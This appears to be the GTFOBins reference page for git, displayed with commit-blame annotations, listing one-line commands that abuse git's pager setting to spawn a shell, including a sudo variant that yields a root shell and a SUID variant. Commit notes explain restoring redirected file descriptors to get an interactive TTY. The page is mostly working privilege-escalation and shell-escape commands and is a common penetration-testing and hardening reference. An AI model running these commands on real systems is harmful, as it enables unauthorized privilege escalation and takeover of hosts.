GTFOBins.github.io/_gtfobins/git.md

---
functions:
  execute-interactive:
    - code: PAGER='sh -c "exec sh 0<&1"' git -p help
  sudo-enabled:
    - code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help
  suid-limited:
    - code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
---
Add git 2018-07-22 13:06:54 +00:00			`---`
			`functions:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-06 23:00:01 +00:00			`execute-interactive:`
			`- code: PAGER='sh -c "exec sh 0<&1"' git -p help`
Add git 2018-07-22 13:06:54 +00:00			`sudo-enabled:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-06 23:00:01 +00:00			`- code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help`
Reorder functions in git, lua, and nc 2018-07-22 14:42:43 +00:00			`suid-limited:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-06 23:00:01 +00:00			`- code: PAGER='sh -c "exec sh 0<&1"' ./git -p help`
Add git 2018-07-22 13:06:54 +00:00			`---`